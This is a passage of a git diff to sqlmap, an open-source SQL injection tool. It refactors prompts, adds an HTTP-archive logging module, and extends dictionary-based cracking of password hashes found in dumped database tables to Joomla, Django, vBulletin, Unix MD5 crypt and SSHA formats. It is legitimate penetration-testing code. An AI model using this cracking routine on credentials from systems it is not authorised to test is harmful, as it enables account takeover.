threadData.shared.value.add(url) - except ValueError: # for non-valid links - pass except UnicodeEncodeError: # for non-HTML files pass + except ValueError: # for non-valid links + pass finally: if conf.forms: findPageForms(content, current, False, True) @@ -130,8 +131,8 @@ def crawlThread(): if not conf.sitemapUrl: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " - test = readInput(message, default="n") - if test[0] in ("y", "Y"): + + if readInput(message, default='N', boolean=True): found = True items = None url = urlparse.urljoin(target, "/sitemap.xml") @@ -187,7 +188,7 @@ def crawlThread(): logger.warn(warnMsg) else: for url in threadData.shared.value: - kb.targets.add((url, None, None, None, None)) + kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) storeResultsToFile(kb.targets) @@ -198,8 +199,8 @@ def storeResultsToFile(results): if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " - test = readInput(message, default="N") - kb.storeCrawlingChoice = test[0] in ("y", "Y") + + kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 391dd0f63c2..fd0d4e14e56 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger @@ -46,7 +46,7 @@ def checkDependencies(): __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") - except ImportError: + except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from %s" % (dbmsName, data[2]) diff --git a/lib/utils/getch.py b/lib/utils/getch.py index cbb67616e99..00de945bf7a 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ class _Getch(object): diff --git a/lib/utils/har.py b/lib/utils/har.py new file mode 100644 index 00000000000..4def9b3db45 --- /dev/null +++ b/lib/utils/har.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import base64 +import BaseHTTPServer +import datetime +import httplib +import re +import StringIO +import time + +from lib.core.bigarray import BigArray +from lib.core.settings import VERSION + +# Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html +# http://www.softwareishard.com/har/viewer/ + +class HTTPCollectorFactory: + def __init__(self, harFile=False): + self.harFile = harFile + + def create(self): + return HTTPCollector() + +class HTTPCollector: + def __init__(self): + self.messages = BigArray() + self.extendedArguments = {} + + def setExtendedArguments(self, arguments): + self.extendedArguments = arguments + + def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): + self.messages.append(RawPair(requestMessage, responseMessage, + startTime=startTime, endTime=endTime, + extendedArguments=self.extendedArguments)) + + def obtain(self): + return {"log": { + "version": "1.2", + "creator": {"name": "sqlmap", "version": VERSION}, + "entries": [pair.toEntry().toDict() for pair in self.messages], + }} + +class RawPair: + def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): + self.request = request + self.response = response + self.startTime = startTime + self.endTime = endTime + self.extendedArguments = extendedArguments or {} + + def toEntry(self): + return Entry(request=Request.parse(self.request), response=Response.parse(self.response), + startTime=self.startTime, endTime=self.endTime, + extendedArguments=self.extendedArguments) + +class Entry: + def __init__(self, request, response, startTime, endTime, extendedArguments): + self.request = request + self.response = response + self.startTime = startTime or 0 + self.endTime = endTime or 0 + self.extendedArguments = extendedArguments + + def toDict(self): + out = { + "request": self.request.toDict(), + "response": self.response.toDict(), + "cache": {}, + "timings": { + "send": -1, + "wait": -1, + "receive": -1, + }, + "time": int(1000 * (self.endTime - self.startTime)), + "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None + } + out.update(self.extendedArguments) + return out + +class Request: + def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): + self.method = method + self.path = path + self.httpVersion = httpVersion + self.headers = headers or {} + self.postBody = postBody + self.comment = comment.strip() if comment else comment + self.raw = raw + + @classmethod + def parse(cls, raw): + request = HTTPRequest(raw) + return cls(method=request.command, + path=request.path, + httpVersion=request.request_version, + headers=request.headers, + postBody=request.rfile.read(), + comment=request.comment, + raw=raw) + + @property + def url(self): + host = self.headers.get("Host", "unknown") + return "http://%s%s" % (host, self.path) + + def toDict(self): + out = { + "httpVersion": self.httpVersion, + "method": self.method, + "url": self.url, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], + "cookies": [], + "queryString": [], + "headersSize": -1, + "bodySize": -1, + "comment": self.comment, + } + + if self.postBody: + contentType = self.headers.get("Content-Type") + out["postData"] = { + "mimeType": contentType, + "text": self.postBody.rstrip("\r\n"), + } + + return out + +class Response: + extract_status = re.compile(r'\((\d{3}) (.*)\)') + + def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): + self.raw = raw + self.httpVersion = httpVersion + self.status = status + self.statusText = statusText + self.headers = headers + self.content = content + self.comment = comment.strip() if comment else comment + + @classmethod + def parse(cls, raw): + altered = raw + comment = "" + + if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["): + io = StringIO.StringIO(raw) + first_line = io.readline() + parts = cls.extract_status.search(first_line) + status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2)) + remain = io.read() + altered = status_line + "\r\n" + remain + comment = first_line + + response = httplib.HTTPResponse(FakeSocket(altered)) + response.begin() + + try: + content = response.read(-1) + except httplib.IncompleteRead: + content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n") + + return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", + status=response.status, + statusText=response.reason, + headers=response.msg, + content=content, + comment=comment, + raw=raw) + + def toDict(self): + content = { + "mimeType": self.headers.get("Content-Type"), + "text": self.content, + "size": len(self.content or "") + } + + binary = set(['\0', '\1']) + if any(c in binary for c in self.content): + content["encoding"] = "base64" + content["text"] = base64.b64encode(self.content) + + return { + "httpVersion": self.httpVersion, + "status": self.status, + "statusText": self.statusText, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], + "cookies": [], + "content": content, + "headersSize": -1, + "bodySize": -1, + "redirectURL": "", + "comment": self.comment, + } + +class FakeSocket: + # Original source: + # https://stackoverflow.com/questions/24728088/python-parse-http-response-string + + def __init__(self, response_text): + self._file = StringIO.StringIO(response_text) + + def makefile(self, *args, **kwargs): + return self._file + +class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler): + # Original source: + # https://stackoverflow.com/questions/4685217/parse-raw-http-headers + + def __init__(self, request_text): + self.comment = None + self.rfile = StringIO.StringIO(request_text) + self.raw_requestline = self.rfile.readline() + + if self.raw_requestline.startswith("HTTP request ["): + self.comment = self.raw_requestline + self.raw_requestline = self.rfile.readline() + + self.error_code = self.error_message = None + self.parse_request() + + def send_error(self, code, message): + self.error_code = code + self.error_message = message diff --git a/lib/utils/hash.py b/lib/utils/hash.py index c6c8c4b4c53..dcc11bbb8e2 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: @@ -25,6 +25,8 @@ except NotImplementedError: pass +import base64 +import binascii import gc import os import re @@ -35,6 +37,7 @@ from hashlib import md5 from hashlib import sha1 from hashlib import sha224 +from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 from Queue import Queue @@ -67,6 +70,7 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD @@ -77,6 +81,7 @@ from lib.core.settings import ROTATING_CHARS from lib.core.wordlist import Wordlist from thirdparty.colorama.initialise import init as coloramainit +from thirdparty.oset.pyoset import oset from thirdparty.pydes.pyDes import des from thirdparty.pydes.pyDes import CBC @@ -149,7 +154,7 @@ def mssql_passwd(password, salt, uppercase=False): """ binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) @@ -167,7 +172,7 @@ def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' """ binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) @@ -183,7 +188,7 @@ def mssql_new_passwd(password, salt, uppercase=False): """ binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) @@ -254,6 +259,38 @@ def sha1_generic_passwd(password, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def apache_sha1_passwd(password, **kwargs): + """ + >>> apache_sha1_passwd(password='testpass') + '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' + """ + + return "{SHA}%s" % base64.b64encode(sha1(password).digest()) + +def ssha_passwd(password, salt, **kwargs): + """ + >>> ssha_passwd(password='testpass', salt='salt') + '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' + """ + + return "{SSHA}%s" % base64.b64encode(sha1(password + salt).digest() + salt) + +def ssha256_passwd(password, salt, **kwargs): + """ + >>> ssha256_passwd(password='testpass', salt='salt') + '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' + """ + + return "{SSHA256}%s" % base64.b64encode(sha256(password + salt).digest() + salt) + +def ssha512_passwd(password, salt, **kwargs): + """ + >>> ssha512_passwd(password='testpass', salt='salt') + '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' + """ + + return "{SSHA512}%s" % base64.b64encode(sha512(password + salt).digest() + salt) + def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) @@ -264,6 +301,16 @@ def sha224_generic_passwd(password, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def sha256_generic_passwd(password, uppercase=False): + """ + >>> sha256_generic_passwd(password='testpass', uppercase=False) + '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' + """ + + retVal = sha256(password).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + def sha384_generic_passwd(password, uppercase=False): """ >>> sha384_generic_passwd(password='testpass', uppercase=False) @@ -284,7 +331,7 @@ def sha512_generic_passwd(password, uppercase=False): return retVal.upper() if uppercase else retVal.lower() -def crypt_generic_passwd(password, salt, uppercase=False): +def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html @@ -296,17 +343,133 @@ def crypt_generic_passwd(password, salt, uppercase=False): 'rl.3StKT.4T8M' """ - retVal = crypt(password, salt) + return crypt(password, salt) + +def unix_md5_passwd(password, salt, magic="$1$", **kwargs): + """ + Reference(s): + http://www.sabren.net/code/python/crypt/md5crypt.py + + >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') + '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' + """ + + def _encode64(value, count): + output = "" + + while (count - 1 >= 0): + count = count - 1 + output += ITOA64[value & 0x3f] + value = value >> 6 + + return output + + if isinstance(password, unicode): + password = password.encode(UNICODE_ENCODING) + + if isinstance(magic, unicode): + magic = magic.encode(UNICODE_ENCODING) + + if isinstance(salt, unicode): + salt = salt.encode(UNICODE_ENCODING) + + salt = salt[:8] + ctx = password + magic + salt + final = md5(password + salt + password).digest() + + for pl in xrange(len(password),0,-16): + if pl > 16: + ctx = ctx + final[:16] + else: + ctx = ctx + final[:pl] + + i = len(password) + while i: + if i & 1: + ctx = ctx + chr(0) #if ($i & 1) { $ctx->add(pack("C", 0)); } + else: + ctx = ctx + password[0] + i = i >> 1 + + final = md5(ctx).digest() + + for i in xrange(1000): + ctx1 = "" + + if i & 1: + ctx1 = ctx1 + password + else: + ctx1 = ctx1 + final[:16] + + if i % 3: + ctx1 = ctx1 + salt + + if i % 7: + ctx1 = ctx1 + password + + if i & 1: + ctx1 = ctx1 + final[:16] + else: + ctx1 = ctx1 + password + + final = md5(ctx1).digest() + + hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4) + hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4) + hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4) + hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4) + hash_ = hash_ + _encode64((int(ord(final[4])) << 16) | (int(ord(final[10])) << 8) | (int(ord(final[5]))), 4) + hash_ = hash_ + _encode64((int(ord(final[11]))), 2) + + return "%s%s$%s" % (magic, salt, hash_) + +def joomla_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/10428239 + + >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') + 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' + """ - return retVal.upper() if uppercase else retVal + return "%s:%s" % (md5("%s%s" % (password, salt)).hexdigest(), salt) -def wordpress_passwd(password, salt, count, prefix, uppercase=False): +def django_md5_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_md5_passwd(password='testpass', salt='salt') + 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' + """ + + return "md5$%s$%s" % (salt, md5("%s%s" % (salt, password)).hexdigest()) + +def django_sha1_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_sha1_passwd(password='testpass', salt='salt') + 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' + """ + + return "sha1$%s$%s" % (salt, sha1("%s%s" % (salt, password)).hexdigest()) + +def vbulletin_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/2202810 + + >>> vbulletin_passwd(password='testpass', salt='salt') + '85c4d8ea77ebef2236fb7e9d24ba9482:salt' + """ + + return "%s:%s" % (md5("%s%s" % (md5(password).hexdigest(), salt)).hexdigest(), salt) + +def wordpress_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): http://packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php - >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp', uppercase=False) + >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' """ @@ -353,9 +516,7 @@ def _encode64(input_, count): _.update(password) hash_ = _.digest() - retVal = prefix + _encode64(hash_, 16) - - return retVal.upper() if uppercase else retVal + return "%s%s" % (prefix, _encode64(hash_, 16)) __functions__ = { HASH.MYSQL: mysql_passwd, @@ -369,47 +530,63 @@ def _encode64(input_, count): HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, HASH.SHA224_GENERIC: sha224_generic_passwd, + HASH.SHA256_GENERIC: sha256_generic_passwd, HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.JOOMLA: joomla_passwd, + HASH.DJANGO_MD5: django_md5_passwd, + HASH.DJANGO_SHA1: django_sha1_passwd, HASH.WORDPRESS: wordpress_passwd, + HASH.APACHE_MD5_CRYPT: unix_md5_passwd, + HASH.UNIX_MD5_CRYPT: unix_md5_passwd, + HASH.APACHE_SHA1: apache_sha1_passwd, + HASH.VBULLETIN: vbulletin_passwd, + HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.SSHA: ssha_passwd, + HASH.SSHA256: ssha256_passwd, + HASH.SSHA512: ssha512_passwd, + HASH.MD5_BASE64: md5_generic_passwd, + HASH.SHA1_BASE64: sha1_generic_passwd, + HASH.SHA256_BASE64: sha256_generic_passwd, + HASH.SHA512_BASE64: sha512_generic_passwd, } def storeHashesToFile(attack_dict): if not attack_dict: return + items = oset() + + for user, hashes in attack_dict.items(): + for hash_ in hashes: + hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ + if hash_ and hash_ != NULL and hashRecognition(hash_): + item = None + if user and not user.startswith(DUMMY_USER_PREFIX): + item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) + else: + item = "%s\n" % hash_.encode(UNICODE_ENCODING) + + if item and item not in items: + items.add(item) + if kb.storeHashesChoice is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " - test = readInput(message, default="N") - kb.storeHashesChoice = test[0] in ("y", "Y") - - if not kb.storeHashesChoice: - return - handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") - os.close(handle) + kb.storeHashesChoice = readInput(message, default='N', boolean=True) - infoMsg = "writing hashes to a temporary file '%s' " % filename - logger.info(infoMsg) + if items and kb.storeHashesChoice: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") + os.close(handle) - items = set() - - with open(filename, "w+") as f: - for user, hashes in attack_dict.items(): - for hash_ in hashes: - hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ - if hash_ and hash_ != NULL and hashRecognition(hash_): - item = None - if user and not user.startswith(DUMMY_USER_PREFIX): - item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) - else: - item = "%s\n" % hash_.encode(UNICODE_ENCODING) + infoMsg = "writing hashes to a temporary file '%s' " % filename + logger.info(infoMsg) - if item and item not in items: - f.write(item) - items.add(item) + with open(filename, "w+") as f: + for item in items: + f.write(item) def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: @@ -435,8 +612,8 @@ def attackDumpedTable(): if not count: return - infoMsg = "analyzing table dump for possible password hashes" - logger.info(infoMsg) + debugMsg = "analyzing table dump for possible password hashes" + logger.debug(debugMsg) found = False col_user = '' @@ -453,24 +630,24 @@ def attackDumpedTable(): break for column in columns: - if column == col_user or column == '__infos__': + if column == col_user or column == "__infos__": continue - if len(table[column]['values']) <= i: + if len(table[column]["values"]) <= i: continue - value = table[column]['values'][i] + value = table[column]["values"][i] if hashRecognition(value): found = True - if col_user and i < len(table[col_user]['values']): - if table[col_user]['values'][i] not in attack_dict: - attack_dict[table[col_user]['values'][i]] = [] + if col_user and i < len(table[col_user]["values"]): + if table[col_user]["values"][i] not in attack_dict: + attack_dict[table[col_user]["values"][i]] = [] - attack_dict[table[col_user]['values'][i]].append(value) + attack_dict[table[col_user]["values"][i]].append(value) else: - attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value] + attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) @@ -482,11 +659,11 @@ def attackDumpedTable(): storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ("[y/N/q]" if conf.multipleTargets else "[Y/n/q]") - test = readInput(message, default="N" if conf.multipleTargets else "Y") + choice = readInput(message, default='N' if conf.multipleTargets else 'Y').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) @@ -496,8 +673,8 @@ def attackDumpedTable(): if hash_: lut[hash_.lower()] = password - infoMsg = "postprocessing table dump" - logger.info(infoMsg) + debugMsg = "post-processing table dump" + logger.debug(debugMsg) for i in xrange(count): for column in columns: @@ -529,7 +706,7 @@ def hashRecognition(value): return retVal -def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() @@ -583,7 +760,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) - if not hasattr(conf, "api"): + if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: @@ -594,7 +771,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: @@ -605,7 +782,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc with proc_count.get_lock(): proc_count.value -= 1 -def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist): +def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found, proc_id, proc_count, wordlists, custom_wordlist, api): if IS_WIN: coloramainit() @@ -657,7 +834,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found if user and not user.startswith(DUMMY_USER_PREFIX): status += ' (user: %s)' % user - if not hasattr(conf, "api"): + if not api: dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) except KeyboardInterrupt: @@ -668,7 +845,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found except Exception, e: warnMsg = "there was a problem while hashing entry: %s (%s). " % (repr(word), e) - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS logger.critical(warnMsg) except KeyboardInterrupt: @@ -715,40 +892,58 @@ def dictionaryAttack(attack_dict): hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): - item = None - - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS): - hash_ = hash_.lower() - - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): - item = [(user, hash_), {}] - elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): - item = [(user, hash_), {'username': user}] - elif hash_regex in (HASH.ORACLE,): - item = [(user, hash_), {'salt': hash_[-20:]}] - elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): - item = [(user, hash_), {'salt': hash_[6:14]}] - elif hash_regex in (HASH.CRYPT_GENERIC,): - item = [(user, hash_), {'salt': hash_[0:2]}] - elif hash_regex in (HASH.WORDPRESS,): - if ITOA64.index(hash_[3]) < 32: - item = [(user, hash_), {'salt': hash_[4:12], 'count': 1 << ITOA64.index(hash_[3]), 'prefix': hash_[:12]}] - else: - warnMsg = "invalid hash '%s'" % hash_ - logger.warn(warnMsg) - - if item and hash_ not in keys: - resumed = hashDBRetrieve(hash_) - if not resumed: - attack_info.append(item) - user_hash.append(item[0]) - else: - infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) - if user and not user.startswith(DUMMY_USER_PREFIX): - infoMsg += " for user '%s'" % user - logger.info(infoMsg) - resumes.append((user, hash_, resumed)) - keys.add(hash_) + try: + item = None + + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + hash_ = hash_.lower() + + if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + item = [(user, hash_.decode("base64").encode("hex")), {}] + elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1): + item = [(user, hash_), {}] + elif hash_regex in (HASH.SSHA,): + item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}] + elif hash_regex in (HASH.SSHA256,): + item = [(user, hash_), {"salt": hash_.decode("base64")[32:]}] + elif hash_regex in (HASH.SSHA512,): + item = [(user, hash_), {"salt": hash_.decode("base64")[64:]}] + elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): + item = [(user, hash_), {'username': user}] + elif hash_regex in (HASH.ORACLE,): + item = [(user, hash_), {"salt": hash_[-20:]}] + elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): + item = [(user, hash_), {"salt": hash_[6:14]}] + elif hash_regex in (HASH.CRYPT_GENERIC,): + item = [(user, hash_), {"salt": hash_[0:2]}] + elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): + item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): + item = [(user, hash_), {"salt": hash_.split(':')[-1]}] + elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): + item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.WORDPRESS,): + if ITOA64.index(hash_[3]) < 32: + item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] + else: + warnMsg = "invalid hash '%s'" % hash_ + logger.warn(warnMsg) + + if item and hash_ not in keys: + resumed = hashDBRetrieve(hash_) + if not resumed: + attack_info.append(item) + user_hash.append(item[0]) + else: + infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'" % user + logger.info(infoMsg) + resumes.append((user, hash_, resumed)) + keys.add(hash_) + + except (binascii.Error, IndexError): + pass if not attack_info: continue @@ -757,7 +952,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS): + if hash_regex in (HASH.ORACLE_OLD,): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -766,20 +961,20 @@ def dictionaryAttack(attack_dict): message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" - choice = readInput(message, default="1") + choice = readInput(message, default='1') try: - if choice == "2": + if choice == '2': message = "what's the custom dictionary's location?\n" - dictPaths = [readInput(message)] - - logger.info("using custom dictionary") - elif choice == "3": + dictPath = readInput(message) + if dictPath: + dictPaths = [dictPath] + logger.info("using custom dictionary") + elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) - logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") @@ -805,9 +1000,8 @@ def dictionaryAttack(attack_dict): logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " - test = readInput(message, default="N") - if test[0] in ("y", "Y"): + if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name @@ -818,7 +1012,8 @@ def dictionaryAttack(attack_dict): if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC): + # Algorithms without extra arguments (e.g. salt and/or username) + if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, 